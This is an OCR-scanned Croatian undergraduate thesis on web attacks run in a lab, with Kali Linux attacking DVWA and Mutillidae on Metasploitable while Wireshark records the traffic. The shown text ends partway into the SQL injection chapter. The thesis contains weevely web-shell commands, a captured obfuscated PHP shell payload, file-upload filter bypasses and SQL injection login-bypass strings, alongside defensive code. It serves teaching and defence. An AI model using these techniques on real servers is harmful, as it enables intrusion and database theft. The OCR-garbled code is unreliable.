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Sazetak

U ovom zavrSnom radu istrazeni su poznatiji napadi koji se dogadaju na webu. Ukratko je
opisano postavljeno virtualno okruzenje koje je omogucilo provodenje napada. Na pocetku
svakog poglavlja napadi su objasnjeni teorijski, a zatim su ti napadi u praktinom dijelu
ispitani. Ispitivanja su izvrSena tako da se s virtualnog ra¢unala napadaca napada virtualno
raCunalo zrtve. Napadi su zatim detaljnije analizirani pomoéu Wiresharka na temelju ¢ega
su doneseni zakljucci zasto je odredeni napad mogao biti izvrSen. U istrazivanjima pojedinih
napada postepeno su na strani Zrtve pojaCavane sigurnosne postavke te se napadi na
prethodan nacin nisu mogli izvriti. U slu¢ajevima kada je bio poznat zaobilazan nacin za
izvrSavanje napada, ti su nacini napada bili prikazani, zajedno s primjerima najbolje prakse

kako se od tih napada zastititi.

Kljuéne rijeéi: Kali Linux; Metasploitable; Wireshark; napad; obrana
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1. Uvod

Tema ovog zavr$nog rada je obradivanje naj¢esc¢ih napada koji se deSavaju na webu,
analiza istih te prikaz najboljih metoda za zastitu. Ovo je vrlo vazna tema danasnjice u IT
sektoru kojoj se ponekad ne daje dovoljno paznje. Na zastitu vlastite web stranice ili web
prostora se gleda kao zasigurno visok troSak za uklanjanje Stete koja se tek potencijalno moze

dogoditi, ali kad se dogodi, Steta je najCeSce nepopravljiva.

Prilikom pisanja ovog rada su bile dotaknute i razne teme poput NAT-a koji je bio
postavljen da bi se mogao snimati promet Wiresharkom. NAT je bilo potrebno podesiti jer su
raCunalo napadaca i racunalo Zrtve podignuti kao virtualni operativni sustavi, a racunalo
domacin se ponasao kao usmjernik(eng. router) te je preko njega tekao sav promet prema

internetu.

Za ovu temu sam se odlu€io jer me oduvijek zanimala sigurnost web-stranica, tj.
sigurnost opcenito. Kad sam bio mladi isto je viSe iSlo u smjeru gledanja raznih serija i
takozvanih ,black hat hackera®. Uvijek su me impresionirali sposobno$¢u da probiju u najvece
i najbolje zasticene sustave svijeta, a u istom trenutku su sposobni visestruko prikriti svoj trag
da isti ne bi vodio nazad do njih. Danas se moje prouc¢avanje sigurnosti svodi na zastitu web

stranice na kojoj radim da ista ne bi bila izlozena raznim napadima iz vanjskog svijeta.

Napadi su teoretski obradeni pomocu raznih izvora s interneta, dok se kroz praktiéni

dio aktivno konzultiralo s video te¢ajem na platformi ,Udemy*.



2. Postavljanje okruzenja

Napadi su se izvrSili na nacin da je na Oracle VM VirtualBox, program koji sluzi za
virtualizaciju operativnih sustava, instaliran Kali Linux i Metasploitable. Ra¢unalo na kojem se
nalazi Oracle VM VirtualBox je posluzilo kao usmjernik jer je na obje maSine kao mrezni
adapter postavljen NAT. Zbog toga je Kali Linux na mrezi mogao vidjeti Metasploitable i

obrnuto.

¥ @ kali - Settings ?

w: {Eﬁ} ; @ General Network
T Ia System

New Settings Discard  Start Adapter 1 | Adapter 2 | Adapter3 | Adapter 4

E" Display Enable Network Adapter
n onerstor |l
Attached to: | NAT Network ~

Starage

B2, metasploitable
. @ Powered OFf IP A Mame: |NatMetwork >
udio
[ Advanced
@ MNetwork
@ Serial Ports

0/‘9 UsB
|j Shared Folders
E User Interface

Cancel

Slika 1-Oracle VM VirtualBox s instaliranim operacijskim sustavima i podesenim NAT-om



2.1. Kali Linux

Kali Linux je najsnaznija svjetska ,white hat“ platforma bazirana na Debianu za
takozvani ,penetration testing®. Koriste ju stru€njaci za sigurnost Sirom svijeta. Kali Linux, iako
napravljen kao operacijski sustav, je zapravo neka vrsta frameworka jer sadrzi sve alate za
ispitivanje sigurnosti kojih ima veoma puno. (Raphaél Hertzog, Jim O’Gorman i Mati Aharoni,
2017.)

U ovom zavrdnom radu su koristene samo neke od aplikacija poput Burp Suitea za
setiranje proxya i presretanje paketa, Crunch za kreiranje liste lozinki za izvrSavanje brute

force napada, Hydra za isprobavanije tih lozinki na formi za prijavu itd.

Applications ¥ Places ¥ Tue 14:02

Favorites Iceweasel
01 - Information Gathering

Terminal
02 - Vulnerability Analysis

03 - Web Application Analysis Files

04 - Database Assessment metasploit framework
05 - Password Attacks

armitage
06 - Wireless Attacks

07 - Reverse Engineering burpsuite

08 - Exploitation Tools maltego

09 - Sniffing & Spoofing

beef xss framework
10 - Post Exploitation

11 - Forensics Leafpad

12 - Reporting Tools Tweak Tool

13 - System Services

Usual applications

Slika 2-Prikaz aplikacija na Kali Linuxu



2.2. Metasploitable

Metasploitable je napravljen da bude virtualno racunalo koje Ce sluziti za testiranje

napada, ali u ,laboratorijskim® uvjetima. Pokretanjem Metasploitable-a otvara se konzola. Tom

radnjom pokretanja se Metasploitable zapravo postavio na odredenu IP adresu koja se moze

saznati jednostavnom naredbom ,ifconfig®.

]

metasploitable [Running] - Oracle VM VirtualBox -

To access official Ubuntu documentation, please visit:
http:/~help.ubuntu.comn/

o mail.

sfadmin@netasploitable:™$ ifconfig

ethO

sfadnin@netasploitable:™5

Link encap:Ethernet HWaddr 08:00:27:7e:23:30

inet addr:10.0.2.5 Bcast:10.0.2.255 Mask:255.255.255.0
inetb addr: feB0::a00:27ff :fe?e:2330-64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:36 errors:0 dropped:0 overruns:0 frame:0

TX packets:69 errors:0 dropped:0® overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:6228 (6.0 KB) TX bytes:?7198 (7.0 KB)

Base address:0xd010 Memory:fO0000000-fOQZ0000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Hetric:1

RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:9?7 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:21529 (21.0 KB) TX bytes:21529 (21.0 KB)

n &P 0 i ) (B 3] Right Control

Slika 3-Konzola Metasploitablea



Ukoliko se IP adresa 10.0.2.5 upiSe u web preglednik, na Kali Linuxu se otvara web stranica
na kojoj je u obliku jednostavnog HTML-a prikazan popis web aplikacija koje se nalaze na toj
IP adresi, za potrebe ovog zavrSnog rada se koristio DVWA (Damn Vulnerable Web

Application) i Mutillidae.

Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome - Mozilla Firefox e 6 0

[®] Damn Vulnerable Web /. x | +

< c @

@ 10.0.2.5/dvwa/index.php 5] - @ N o =

ﬁ

=
Instructions
Setup

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and aid teachers/students to
teach/leamn web application security in a class room environment.

WARNING!

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting providers public html folder or
any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing

Disclaimer

We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given warnings and taken measures to
prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it.

General Instructions

The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
page.

You have logged in as ‘admin’

Slika 4-Jedna od aplikacija na Metasploitableu

Kako su se kroz rad mijenjali napadi, tako su se koristile i razliCite sekcije za isprobavanje
napada unutar web aplikacije. DVWA pruza mogucénost mijenjanja sigurnosnih postavki, iz
tog razloga je bas Metasploitable odabran za testiranje napada jer ¢e se veoma jasno moci

vidjeti razlike izmedu loSih i dobrih praksi zastite.



2.3. NAT

Network Address Translation (NAT) sluzi da bi povezao dvije razli€ite mreze zajedno.
Racunala unutar iste mreze, koja se spajaju na isti usmjernik imaju vlastite privatne IP adrese,
koje globalno gledajuéi, nisu unikatne. 1z tog razloga NAT, prije nego $to odredene poruke s
racunala u toj mrezi krenu prema internetu, prevodi IP adrese u unikatne IP adrese. NAT se
moze konfigurirati da sva ra¢unala u istoj mrezi, gledajuci sa strane interneta, naizgled imaju
istu IP adresu, to je sigurnosno veoma dobro jer se radunala unutar te mreze ne mogu direktno

napasti posto privatne IP adrese nisu poznate vanjskom svijetu. (,Cisco®, bez dat.)

Resources

eginternet

Slika 5-Prikaz NAT-a

U ovome radu se NAT Koristio iz razloga da virtualna raCunala mogu komunicirati jedno
s drugim jer su prividno u istoj lokalnoj mrezi, a raCunalo na kojima su ista instalirana je
posluzilo kao usmjernik i predstavnik prema internetu. To da su raCunala i istoj mrezi potvrduju
i IP adrese. Metasploitable je na 10.0.2.5, dok je Apache posluzitelj koji je mogucée pokrenuti

na Kali Linuxu postavljen na 10.0.2.6.



3. Vrste napada

U nastavku su teoretski ukratko objasnjeni neki od naj¢eséih napada danasnjice te su
isti i isprobani. Postepeno su se, ukoliko je to za odredeni napad bilo moguée, povecéavale
sigurnosne postavke. Nakon svakog napada su se pokusali pokazati primjeri najbolje prakse

za zastitu od istih.

3.1. File upload vulnerabilities

File upload vulnerability je osjetljivost web stranice na upload odredenih skripti koje
napadacu mogu dati pristup osjetljivim podatcima. Posljedice mogu biti razlicite, od krade
podataka pa sve do uploada veceg broja podataka da bi se sam posluZitelj na kojem je web
stranica prenatrpao i ostao bez slobodnog prostora. NajCeSc¢e se ova vrsta napada koristi na
nacin da se otkrije u kojem je jeziku pisan back-end te se napravi skripta €iji je kod pisan u tom
istom jeziku. Zatim se pronade slaba tocka web-stranice i shell skripta se uploada te pomocu
nje napadac zatim ima pristup ne samo toj web stranici ve¢ i ostalima koje se nalaze na istom
web mjestu.(,OWASP*, bez dat.)

U nastavku ¢e se na DVWA pokus$ati prenijeti php shell skripta da bi se napadacu

omogucio pristup svim podatcima na posluZzitelju.

3.1.1. lzvodenje napada file upload vulnerabilities

Da bi se napad izvrSio, koristio se weevely alat na Kali Linuxu koji je kreirao php skriptu.

Potrebno je pokrenuti terminal i utipkati:

weevely generate abcdef /root/prviNapad.php

Prva rijeC je klju¢na rije€ za pozivanje alata s naredbom generate da bi se stvorila Zeljena
skripta, treéa rije€ oznacava pristupnu Sifru toj skripti, dok ¢etvrta oznaava mjesto na koje ¢e
se skripta spremiti. Ispod je prikazana slika na kojoj je vidljiva naredba zajedno s dokazom da

je skripta zaista i stvorena na Zeljenom mjestu.

:~# weevely generate abcdef /root/prviNapad.php
Generated '/root/prviNapad.php' with password 'abcdef' of 759 byte size.
:~# pwd

/root

:~# 1s
Desktop Downloads MITMf Pictures Public Templates xerxes
Documents hosts.txt Music prviNapad.php sslsirip.log Videos

H i I

Slika 6-Stvaranje weevely php skripte



Na web stranici DVWA postoji mogucnost mijenjanja razine sigurnosti, na poc€etku je ta
razina bila postavljena na minimalnu odnosno ,low* te se postupno povec¢avala. Na toj najnizoj
razini sigurnosne postavke su veoma loSe i nema nikakvih provjera skripte ni na strani klijenta
ni posluzitelja te se ta skripta vrlo lako prenese preko forme za upload na samo stranicu. Na

slici ispod je pomoc¢u Wiresharka jasno vidljivo da je skripta uspjeSno prenesena.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Al i@® oD RE Q«» 2= aaqai

\A‘App.ya display filter ... <Ctrl-/> d '} Expression.. +

No. Time Source Destination Protocol Length Info

60 80 — 33324 [FIN, ACK] Seq=1 Ack=2 Win=32329 Len=0

3 0.062672724 172.217.22.163 10.0.2.6 TCP

4 0.062695154 10.0.2.6 172.217.22.163 TCP 54 33324 ~ 8@ [ACK] Seq=2 Ack=2 Win=30186 Len=0 |

5 8.587737349 0.2.6 0.2.5 1887 POST /dvwa/vulnerabilities/upload/ HTTP/1.1 (application/x-php)

6 0.587953159 10.0.2.5 10.0.2.6 TCP 66 80 —~ 45986 [ACK] Seq=1 Ack=1822 Win=170 Len=0 TSval=264552 TSecr=2757879784

7 0.602571641 10.0.2.5 10.0.2.6 TCP 4410 80 — 45986 [ACK] Seq=1 Ack=1822 Win=170 Len=4344 TSval=264554 TSecr=27578797

8 0.602603180 10.0.2.6 10.0.2.5 TCP 66 45986 — 80 [ACK] Seq=1822 Ack=4345 Win=644 Len=0 TSval=2757879799 TSecr=2645

9 0.602785063 18.8.2.5 18.8.2.6 HTTP 654 HTTP/1.1 200 OK (text/html) =
] 0

Urgent pointer: @ E

» Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
+ [SEQ/ACK analysis]
v [Timestamps]
TCP payload (1821 bytes)
~ Hypertext Transfer Protocol
» POST /dvwa/vulnerabilities/upload/ HTTP/1.1\r\n
Host: 18.0.2.5\r\n
User-Agent: Mozilla/5.® (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/6@.6\r\n -

0030 82 40 1f 4e ([N €1 @1 ©8 6a ad 61 e7 e8 00 04 @ N. ----- e =

65 da 50 4f 53 54 20 2f
6e 65 72 61 62 69 6¢ 69
6f 61 64 2f 20 48 54 54
6f 73 74 3a 20 31 30 2e
73 65 72 2d 41 67 65 Ge

64 76 77 61 2f 76 75 6C
74 69 65 73 2f 75 7@ 6C
50 2f 31 2e 31 @d 6a 48
30 2e 32 2e 35 0d 6a 55
74 3a 20 4d 6f 7a 69 6c

-+POST / dvwa/vul
nerabili ties/upl
oad/ HTT P/1.1--H
ost: 10. 0.2.5--U
ser-Agen t: Mozil

@ 7 Urgent pointer (tep.urgent_pointer), 2 bytes Packets: 13 - Displayed: 13 (100.0%) - Dropped: 0(0.0%)  Profile: Default

Slika 7-Wireshark prikazuje uspjesno prenesenu php skriptu na najnizim postavkama
HTML na web stranici generira zahtjev na strani klijenta pomoc¢u POST metode prema
posluzitelju, posluZitelj zatim obraduje taj zahtjev i Salje odgovor nazad do klijenta, u ovom
slu¢aju je jasno vidljivo da on odgovara s porukom ,200 OK* te se u podatkovnom sloju

prikazuje poruka da je sve proS$lo uspjesno.

U slu€aju kad su se sigurnosne postavke podigle na srednju razinu viSe nije bilo
moguce na isti nacin prenijeti php skriptu na posluzitelj jer postoji provjera tipa prenesene
datoteke na strani posluzitelja. Da bi i u ovom slu¢aju napad bio uspjesno izvrSen Koristio se
proxy posluzitelj na kojem se paket koji se Salje na posluzitelj zamijenio drugim, napadacu
podobnim paketom. Na taj naCin su se zaobisle sigurnosne provjere na strani posluzitelja

vidljive u nastavku.



<?php
if (isset($_POST['Upload'])) {

Starget path = DVWA WEB PAGE TO ROOT.'"hackable/uploads/";

$target path = S$target path . basename($ FILES['uploaded']['nam
e'l);
Suploaded name = $ FILES['uploaded']['name'];
Suploaded type = $ FILES['uploaded']['type'];
Suploaded size = $ FILES['uploaded']['size'];
if ((Suploaded type == "image/Jjpeg") && (Suploaded size < 10000
0)){
if (!move uploaded file($ FILES['uploaded']['tmp name'], S$Sta

rget path)) {

echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {
echo '<pre>';

echo Starget path
echo '</pre>';

succesfully uploaded!';

}
else{
echo '<pre>Your image was not uploaded.</pre>';

}

?>

U dijelu koda obojanom Zutom bojom se jasno vidi da se naprave tri varijable od datoteke koja
se zeli prenijeti te se provjerava tip i veli¢ina datoteke, u ovom slucaju je potrebno obratiti

paznju na tip datoteke jer mora biti ,image/jpeg®.



Za postavljanje proxy posluZzitelja se koristio Burp Suite koji ima jo§ puno drugih
mogucnosti. U postavkama istog je vidljivo da se proxy posluzitelj postavio na IP adresi
127.0.0.1 Sto zapravo odgovara adresi localhosta. Zbog ve¢ vise puta spomenutog NAT-a,
Metasploitable je znao za ovu adresu i paket se mogao presresti na istoj jer se zrtva i napadac
prividno nalaze u istoj lokalnoj mrezi. Za potrebe ove demonstracije je na pregledniku Kali
Linuxa postavljen proxy posluzitelj na prethodno spomenutoj IP adresi na portu 8080. Takoder,
bilo je potrebno skriptu ,prviNapad.php“ preimenovati u ,prviNapad.jpeg“ da bi se zaobisla
provjera tipa datoteke na strani posluzitelja. Nakon poku$aja da se prenese ,prviNapad.jpeg*

na posluzitelj, paket se presreo unutar Burp Suitea u sljede¢em obliku.

Burp Suite Community Edition v1.7.36 - Temporary Pr

Burp Intruder Repeater Window Help

[Target I Proxy I Spider I Scanner T Intruder I Repeater T Seqguencer T Decoder TComparer T Extender T Project options T User o)

J Intercept T HTTP history TWEoncketj history IOptions ]

LﬁJ Request to http://10.0.2.5:80

[ Forward J l Drop J [ Interceptis on | Action

J Raw T Params I Headers I Hex ]

POST /dvwa/vulnerabilities/upload/ HTTP/1.1

Host: 10.0.2.5

User-Agent: Mozillas5.0 (X11: Linux x86_64; rv:60.8) Gecko/20100101 Firefox/60.8
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8
Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.5/dvwa/vulnerabilities/upload/

Content-Type: multipart/form-data; boundary=--------------------~------- 1435370494110443019541065845
Content-Length: 1224

Cookie: security=medium; PHPSESS5ID=65b5e3f7dabdf8314aa70f694015ecesd

Connection: close

Upgrade-Insecure-Requests: 1

----------------------------- 1438370484110443019541068845
Content-Disposition: form-data: name="MAX_FILE_SIZE"

10606086

----------------------------- 1438370494110443019541068845
Content-Dispesition: form-data; name="uploaded"; filename="prvilapad.php"
Content-Type: image/jpeg

=?php

$L="B){for($j=0;($]<0BSOBC&&$1<$L) ; 0BS]++0B, $1++0B) 0B{$0. =5t {51} $k{$]}; }}0BretudBrn $o:0B}if(0BApreg_matc';
$A="hOBOB("0B/$kh(.+0B)skf/",0BEfile_gelBt_con®BtentseB( "phpeB: //input"),0B%m)==1){2o0BbOE_sOBtareBt();@";
$I="@obh_0Bend0B_cOBlean(); $0Br=E0Bba0BEse6406_encolBde(RBEx (@gzcomOBpress(so),0B5k) ) iprint("$pskoBhsrskf )} :
$u="$k="eB0BAb5ARB1T"; $kOBOBhEE="098950Fc580Baa" ; $kf="dOBE3c8c149780Be" ; $p=0B"WwHHBBISOBUIa14YHiwW" ;
tg=str_replace('ch',' "', 'crchechatechch_funchchection');

$1l="evalBl{@0BgzunBBcompress(@x (@b0Base6d_debBcode($m[OB1OB] ), %k)) ) $0=Ro0BbOE_get_contB®Bents():0B"':
$5='R"BBOG; funcBBtion x0B(s$t,5k){$c=st0BrledBn(sk0oB);:$10B=strlefBn({$t) ;S0="";0BTo0Br($10B0B=0;$i<0Bs1;:0";
t¥=str_replace('0B'," ', $v.%5.5L.3A.5L.31);

$5=5g('"',5Y):55():

7=

----------------------------- 1438370494110443019541068845

Content-Dispesition: form-data: name="Upload"

Upload

Slika 8-Prikaz uhvaéenog paketa na proxy posluzitelju
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Unutar ,Content-Disposition® je bilo potrebno zamijeniti ekstenziju ,jpeg” s ekstenzijom ,php*“i
pritisnuti Forward da bi se paket proslijedio dalje do posluzitelja. Wireshark je potvrdio sve

prethodno navedeno, §to se i jasno uoCava u nastavku.

Time Source Destination Protocol Length Info

4 0.000325985 .8.2.6 1868 POST /dvwa/vulnerabilities/upload/ HTTP/1.1 j
5 0.000478202 16.08.2.5 16.0.2.6 TCP 66 80 — 46056 [ACK] Seq=1 Ack=1449 Win=8704 Len=0 TSval=606784 TSecr=2761302180 —
6 0.000486032 10.08.2.5 10.0.2.6 TCP 66 80 — 46056 [ACK] Seq=1 Ack=1803 Win=11648 Len=0 TSval-606784 TSecr=2761302180
7 0.015171674 10.0.2.5 10.0.2.6 TCP 2962 80 — 46056 [ACK] Seq=1 Ack=1803 Win=11648 Len=2896 TSval=606786 TSecr=2761302180 [T
8 0.015202205 10.8.2.6 10.0.2.5 TCP 66 46856 — 80 [ACK] Seq=1883 Ack=2897 Win=35072 Len=0 TSval=2761302195 TSecr=606786
9 0.015368139 10.08.2.5 10.0.2.6 HTTP 2074 HTTP/1.1 200 0K (text/html)
16 0.015375781 16.0.2.6 16.8.2.5 TCP 66 46056 — 80 [ACK] Seq=1883 Ack=4906 Win=39048 Len=0 TSval=2761302195 TSecr=606786
11 0.017143042 10.08.2.6 10.0.2.5 TCP 66 46856 — 80 [FIN, ACK] Seq=1803 Ack=4906 Win=3904@ Len=0@ TSval=2761302197 TSecr=6867
12 0.017303204 10.0.2.5 10.0.2.6 TCP 66 80 — 46056 [ACK] Seq=4906 Ack=1804 Win=11648 Len=0 TSval=606786 TSecr=2761302197
] C

[Type: multipart/form-data]

First boundary: --------c--mcemmcmemce e 1438370494110443019541868845\r\n

» Encapsulated multipart part:
Boundary: \r\M----cescecemcmcommmeceeennne 1438370494116443019541068845\r\n

~ Encapsulated multipart part: (image/jpeg)
Content-Disposition: form-data; name="uploaded"; filename="prviNapad.php"\r\n
Content-Type: image/jpeghrinirin

» Meala lype
Boundary: \r\n---------------oooomooooo oo 1438370494110443019541068845\r\n
» Encapsulated multipart part
Last boundary: Nr\Rm------------ommoom o 1438370494110443019541068845--\r\n

Slika 9-Wireshark prikazuje uspjeSno prenesenu php skriptu na srednjim postavkama
Prenesena ja datoteka ,prviNapad.php® iako je prvotna datoteka za upload bila

»prviNapad.jpeg*“.

U slu€aju kad su se sigurnosne postavke postavile na visoku razinu, ne provjerava se

samo ,Content-Type®, ve¢ i ekstenzija same datoteke koja se Salje, Sto je vidljivo u nastavku.

<?php

if (isset($ _POST['Upload'])) {
Starget path DVWA WEB PAGE TO ROOT."hackable/uploads/";
$target path = S$target path . basename($ FILES['uploaded']['nam

e'l);

$uploaded name = $ FILES['uploaded']['name'];

Suploaded ext = substr($uploaded name, strrpos(Suploaded name,
L) o+ 1)

$uploaded size = $ FILES['uploaded']['size'];

if ((Suploaded ext == "jpg" || Suploaded ext == "JPG" || Suploa
ded ext == "jpeg" || Suploaded ext == "JPEG") && (Suploaded size < 100000))

{
if (!move uploaded file($ FILES['uploaded']['tmp name'], S$ta
rget path)) {
echo '<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';

} else {

echo '<pre>';
echo Starget path . ' succesfully uploaded!';
echo '</pre>';
}
}
else(
echo '<pre>';
echo 'Your image was not uploaded.';
echo '"</pre>';

?>
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Da bi se datoteka uspjesSno prenijela na ovim sigurnosnim postavkama postupak je isti kao i
na srednjoj sigurnosnoj postavki, ali je bilo potrebno ime datoteke zamijeniti na nacin da se
ispred ekstenzije ,jpeg“ doda ekstenzija ,php“, odnosno, ime datoteke mora izgledati na
sliedeéi nacin: ,prviNapad.php.jpeg®. To je dovoljno da se zaobide najviSsa sigurnosna

postavka.

Nakon $to je php skripta prenesena na posluzitelj potrebno se s racunala napadaca spoijiti na

tu skriptu preko terminala pomoc¢u sljedece naredbe:

weevely http://10.0.2.5/dvwa/hackable/uploads/prviNapad.php abcdef

Nakon §to se naredba izvrSi uspostavljena je veza izmedu skripte i raCunala napadaca, sad
napadac moze izvrsiti mnogo radnji na posluzitelju, neke od njih su sgl_dump za prijenos baze
podataka na svoje racunalo, file_upload za prijenos ostalih potrebnih datoteka za izvrSavanje

napada itd.

3.1.2.0brana od napada file upload vulnerabilities

Najvaznija stvar koja se mora zabraniti je prijenos izvrSnih datoteka na formama za
unos na nacin da se uvijek provjeravaju tip i ekstenzija same datoteke. Ukoliko se na neki
nacin paket uspije presresti i zamijeniti drugim onda iznad navedena obrana nije dovoljna pa
¢e najbolji naCin u obliku koda kojeg je potrebno implementirati na strani posluzitelja biti

prikazan u nastavku.

if (Suploaded type=='image/jpeg')

{
$img = imagecreatefromjpeqg (
Suploaded tmp );
imagejpeg( S$img, Stemp file, 100);
}
else {
$img = imagecreatefrompng (
Suploaded tmp );
imagepng ( $img, Stemp file, 9);
}

imagedestroy( $img );

Ukoliko je dopusten upload samo datoteka s ekstenzijom ,jpeg® i ,png® potrebno je iz datoteke
koja dolazi kreirati novu datoteku. Npr. ako je napadac napisao dvije ekstenzije, ovom radnjom
¢e se zadnja ,php“ ekstenzija obrisati i ostati ¢e samo ,jpeg”. Na taj nacin se Stiti od promjene
ekstenzije i tipa datoteke jer se zloCudan softver koji dolazi na posluZitelj nikad zaista i ne

sprema na isti.
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3.2. SQL Injection

SQL Injection je jedan od naj¢eS¢ih napada danasnjice jer se direktno napada baza
podataka iz koje se onda mogu proditati osjetljivi podatci. SQL Injection napadi se izvrSavaju
na nacin da se SQL upiti upisuju na polja za unos na formama koja su prikazana na web
stranicama. SQL Injection u danasnje vrijeme naj¢esce uspijeva na sustavima koji su pisani u
PHP-u jer je PHP relativno star jezik pa neki sustavi napravljeni u proslosti nisu najbolje

odrzavani itd.

Ukoliko postoji forma za unos korisni¢kog imena i lozinke, kod na strani posluzitelja

pisan C# programskim jezikom izgleda otprilike na sljedeci nacin:

string korIme = ctx.getAuthenticatedKorIme () ;

string lozinka = ctx.getAuthenticatedLozinkal();

string query = "SELECT * FROM korisnici WHERE korisnickoIme = "'"
+ korIme + "' AND lozinka = ""

+ lozinka + "'";
sda = new SglDataAdapter (query, conn);
DataTable dt = new DataTable():;
sda.Fill (dt) ;
Upit kojeg ovaj kod namjerava izvrsiti izgleda ovako:
SELECT * FROM korisnici WHERE
korisnickoIme=
AND

lozinka=

Ukoliko korisnik upiSe unutar prvog polja korisni¢ko ime ,lvan“ a unutar polja za Sifru upiSe
"nekalozinka' OR 'b'='b"

to ¢e se prevesti u SQL upit
SELECT * FROM korisnici WHERE korisnickoIme=Ivan
AND

lozinka= 'lozinka' OR 'b'='b';
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Sad se ovaj upit pretvara u mnogo jednostavniji upit ,SELECT * FROM Korisnici jer je tvrdnja
'b'='b" uvijek istinita te bi u ovom slu€aju korisnik dobio popis svih korisnika iz baze podataka.
Naravno, ovo je samo teoretski primjer jer nije tako lako izvrSiti SQL Injection, a osjetljivi
podatci poput lozinki i sli€no su ,hashirani“ pomo¢u nekog slozenog algoritma tipa SHA256 pa
nisu Citljivi i iskoristivi u takvom obliku. (,OWASP*, bez dat.)

3.2.1.1zvodenje napada SQL Injection

Ovaj napad je objadnjen napadom na aplikaciju Mutilidae instaliranoj na
Metasploitableu. Kao i u prijaSnjem poglavlju, sigurnosne postavke su se postupno
povecavale. PoCetni korak nuzan za testiranje napada je registrirati korisnika sa zeljenim
korisni¢kim imenom i lozinkom pa se pokuS$ati logirati kao taj korisnik. Naravno, u ovom slucaju
je lozinka poznata, ali se ista neCe upisivati ve¢ ¢e se pokusati pronaci drugi nacin za ulaz u

web aplikaciju.

@4 Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - I try harder) Not Logged In

Reset DB

Home Login/Register

Login
OWASP Top 10 4
o e
—
Please sign-in

Toggle Hints Toggle Security View Log View Captured Data

Name ivan
e Password
~~
Site Dont have an account? Please register here

hacked...err...quality-
tested with Samurai
WTF, Backtrack,
Firefox, Burp-Suite,
Netcat, and these
Mozilla Add-ons

Slika 10 - Izgled login stranice na Mutillidae
Na slici iznad je vidljiva forma za prijavu korisnika te bi znacilo da se prilikom prijave

korisnika izvrSava sljedec¢i upit na bazu:

SELECT * from Korisnici WHERE name = ' ' AND password = ' '

to znaci da se jednostruki navodnici postavljaju automatski, a unutar njih se postavlja vrijednost
upisana na formi za prijavu. Da bi se korisnik u ovom slu€aju uspjesno prijavio, potrebno je

upisati proizvoljno korisni¢ko ime, a u polje lozinka bi trebalo upisati sliedeée: nesto' OrR 1=1#

Kao $to je vec ranije navedeno, jednostruki navodnici su postavljeni automatski, $to znaci da
je nakon niza znakova ,nesto“ potrebno zatvoriti taj jednostruki navodnik te pomoc¢u logic¢kog
operatora ,OR" i uvijek istinitog navoda dobiti puno jednostavniji upit ,SELECT * from

Korisnici“. Znak ,#* je znak koji zakomentira dio koda pa je u ovom slu€aju koristen da bi
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ponistili jednostruki navodnik. U trenutku kad se pritisne gumb ,Login“ korisnik se pomoéu ovog

upita uspjeSno prijavijuie kao ,admin“ jer je taj zapis prvi u tablici korisnika.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AW i@ OQRG Qe+ w5 aaaf

\l‘AppLya display filter ... <Ctrl-/> =3 '\ Expression.. +
In Protocol Length Info =
5 TCP 1514 80 — 46332 [PSH, ACK] Seq=17377 Ack=615 Win=7040 Len=1448 TSval=190664 TSecr=2769624361 [TCP segment of a reassembled PDU]

b TCP 66 46332 — 80 [ACK] Seq=615 Ack=18825 Win=66944 Len=0 TSval=2769624361 TSecr=190664

b TCP 5858 80 — 46332 [ACK] Seq=18825 Ack=615 Win=7046 Len=5792 TSval=190665 TSecr=2769624361 [TCP segment of a reassembled PDU] —_—

b TCP 66 46332 —~ 80 [ACK] Seq=615 Ack=24617 Win=78464 Len=0 TSval=2769624364 TSecr=190665

5 TCP 1113 80 —+ 46332 [PSH, ACK] Seq=24617 Ack=615 Win=7040 Len=1847 TSval=190665 TSecr=2769624361 [TCP segment of a reassembled PDU]

b TCP 66 46332 —~ 80 [ACK] Seq=615 Ack=25664 Win=81408 Len=0 TSval=2769624364 TSecr=190665

5 TCP 66 46332 — 80 [ACK] Seq=615 Ack=25354 Win=84224 Len=0 TSval=2769624364 TSecr=190665

8.1 DNS 84 Standard query 0xf856 A detectportal.firefox.com —

8.1 DNS 84 standard query 0x825d AAAA detectportal.firefox.com =

Server: Apache/2.2.8 (Ubuntu) DAV/2\r\n E}

X-Powered-By: PHP/5.2.4-2ubuntu5.18\r\n

Expires: Thu, 19 Nov 1981 ©8:52:0@ GMT\r\n

Logged-In-User: admin\r\n

Cache-Control: publichri\n

Pragma: public\r\n

Set-Cookie: uid=1\r\n

Location: index.php\rin

Last-Modified: Fri, 28 Aug 2020 17:50:18 GMT\r\n

Keep-Alive: timeout=15, max=100\r\n
; Fammantinn. fame B14ia) el
00e0 20 70 75 62 6¢ 69 63 0d 0a SERGEEFEEPLRERGE NG public
